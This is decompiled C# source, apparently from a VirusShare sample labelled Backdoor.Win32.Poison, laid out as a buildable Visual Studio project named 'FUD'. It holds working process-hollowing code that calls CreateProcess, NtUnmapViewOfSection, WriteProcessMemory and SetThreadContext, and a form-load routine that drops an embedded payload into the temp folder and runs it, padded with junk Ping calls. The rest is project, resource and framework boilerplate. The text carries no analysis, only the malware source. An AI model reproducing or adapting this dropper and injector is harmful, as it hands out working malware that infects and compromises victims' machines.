num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3]));
|
||||
IntPtr baseAddr2 = num3;
|
||||
byte[] buff = dst2;
|
||||
num2 = new IntPtr(dst2.Length);
|
||||
IntPtr size3 = num2;
|
||||
ref IntPtr local1 = ref numRead;
|
||||
flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1);
|
||||
IntPtr hProc3 = pInfo[0];
|
||||
num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3]));
|
||||
IntPtr addr2 = num3;
|
||||
num2 = new IntPtr(dst1[2]);
|
||||
IntPtr size4 = num2;
|
||||
int newProt = x86.prot[dst1[9] >> 29 & 7];
|
||||
int num6;
|
||||
ref int local2 = ref num6;
|
||||
flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2);
|
||||
checked { ++num5; }
|
||||
}
|
||||
IntPtr hProc4 = pInfo[0];
|
||||
num3 = new IntPtr(checked ((long) ctxt[41] + 8L));
|
||||
IntPtr baseAddr3 = num3;
|
||||
byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32());
|
||||
num2 = new IntPtr(4);
|
||||
IntPtr size5 = num2;
|
||||
ref IntPtr local = ref numRead;
|
||||
flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local);
|
||||
ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40)));
|
||||
x86.Win32.SetThreadContext(pInfo[1], ctxt);
|
||||
}
|
||||
x86.Win32.ResumeThread(pInfo[1]);
|
||||
}
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
private class Win32
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public Win32()
|
||||
{
|
||||
}
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool CreateProcess(
|
||||
string appName,
|
||||
StringBuilder commandLine,
|
||||
IntPtr procAttr,
|
||||
IntPtr thrAttr,
|
||||
[MarshalAs(UnmanagedType.Bool)] bool inherit,
|
||||
int creation,
|
||||
IntPtr env,
|
||||
string curDir,
|
||||
byte[] sInfo,
|
||||
IntPtr[] pInfo);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
|
||||
|
||||
[DllImport("ntdll")]
|
||||
public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool ReadProcessMemory(
|
||||
IntPtr hProc,
|
||||
IntPtr baseAddr,
|
||||
ref IntPtr bufr,
|
||||
IntPtr bufrSize,
|
||||
ref IntPtr numRead);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern int ResumeThread(IntPtr hThr);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAllocEx(
|
||||
IntPtr hProc,
|
||||
IntPtr addr,
|
||||
IntPtr size,
|
||||
int allocType,
|
||||
int prot);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool VirtualProtectEx(
|
||||
IntPtr hProc,
|
||||
IntPtr addr,
|
||||
IntPtr size,
|
||||
int newProt,
|
||||
ref int oldProt);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProc,
|
||||
IntPtr baseAddr,
|
||||
byte[] buff,
|
||||
IntPtr size,
|
||||
ref IntPtr numRead);
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("Copyright © 1907 2011")]
|
||||
[assembly: AssemblyTitle("FUD")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyProduct("FUD")]
|
||||
[assembly: AssemblyCompany("1907")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("7aa9f012-f8f7-4835-af23-c23f7bce6890")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{7965BD14-FD86-475A-AA6B-3F745DF524C0}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>FUD</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>FUD</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FUD", "Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.csproj", "{7965BD14-FD86-475A-AA6B-3F745DF524C0}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{7965BD14-FD86-475A-AA6B-3F745DF524C0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{7965BD14-FD86-475A-AA6B-3F745DF524C0}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{7965BD14-FD86-475A-AA6B-3F745DF524C0}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{7965BD14-FD86-475A-AA6B-3F745DF524C0}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: FUD.Form1
|
||||
// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe
|
||||
|
||||
using FUD.My;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace FUD
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(292, 266);
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = nameof (Form1);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
MyProject.Computer.Network.Ping(MyProject.Computer.Name);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
MyProject.Computer.Name.Substring(0, 1);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
string randomFileName = Path.GetRandomFileName();
|
||||
try
|
||||
{
|
||||
MyProject.Computer.Network.Ping(MyProject.Computer.Name);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
MyProject.Computer.Name.Substring(0, 1);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
File.WriteAllBytes(Path.GetTempPath() + "\\" + randomFileName, FUD.My.Resources.Resources.nevv);
|
||||
try
|
||||
{
|
||||
MyProject.Computer.Network.Ping(MyProject.Computer.Name);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
MyProject.Computer.Name.Substring(0, 1);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
Interaction.Shell(Path.GetTempPath() + "\\" + randomFileName);
|
||||
try
|
||||
{
|
||||
MyProject.Computer.Network.Ping(MyProject.Computer.Name);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
MyProject.Computer.Name.Substring(0, 1);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: FUD.My.MyApplication
|
||||
// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace FUD.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[STAThread]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: FUD.My.MyComputer
|
||||
// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace FUD.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: FUD.My.MyProject
|
||||
// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace FUD.My
|
||||
{
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: FUD.My.MySettings
|
||||
// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace FUD.My
|
||||
{
|
||||
